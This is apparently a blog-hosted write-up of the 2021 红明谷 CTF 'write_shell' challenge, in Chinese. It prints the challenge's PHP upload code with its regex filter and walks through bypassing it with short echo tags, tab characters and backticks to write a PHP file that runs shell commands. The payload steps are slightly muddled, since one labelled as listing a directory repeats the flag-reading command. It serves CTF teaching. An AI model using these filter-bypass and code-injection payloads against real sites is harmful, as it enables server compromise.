[红明谷CTF 2021]write_shell 1

目录

代码审计

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数

action=pwd时,显示路径

action=upload时,写入内容

check()

通过正则过滤

php 复制代码
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写

对php的过滤可使用短标签:<?=(代码)?>

对空格的过滤,可使用 "/t" 或 "%09"代替

没有过滤反引号,我们可以在反引号中执行shell命令

$_GET["action"] ?? ""

_GET\["action"\] ?? "":这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 _GET["action"] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 ""

解题

先查看路径

text 复制代码
payload:?action=pwd

查看目录

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径

访问:flllllll1112222222lag

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
相关推荐
BingoGo2 小时前
PHP 和 Elasticsearch:给你的应用加个强力搜索引擎
后端·php
A码农先森2 小时前
PHP转Go系列 | PHP8 这些新函数让你眼前一亮
php
你的人类朋友15 小时前
什么是OpenSSL
后端·安全·程序员
支付宝体验科技20 小时前
AI4SDL:支付宝业务应用研发安全保障体系建设实践
安全
没逻辑1 天前
Post-Quantum HTTPS:未来的安全通信架构
后端·安全
LH_R1 天前
OneTerm开源堡垒机实战(四):访问授权与安全管控
运维·后端·安全
BingoGo1 天前
PHP 如何利用 Opcache 来实现保护源码
后端·php
BingoGo2 天前
2025 年 PHP 常见面试题整理以及对应答案和代码示例
后端·php
LH_R2 天前
OneTerm开源堡垒机实战(三):功能扩展与效率提升
运维·后端·安全
你的人类朋友3 天前
什么是API签名?
前端·后端·安全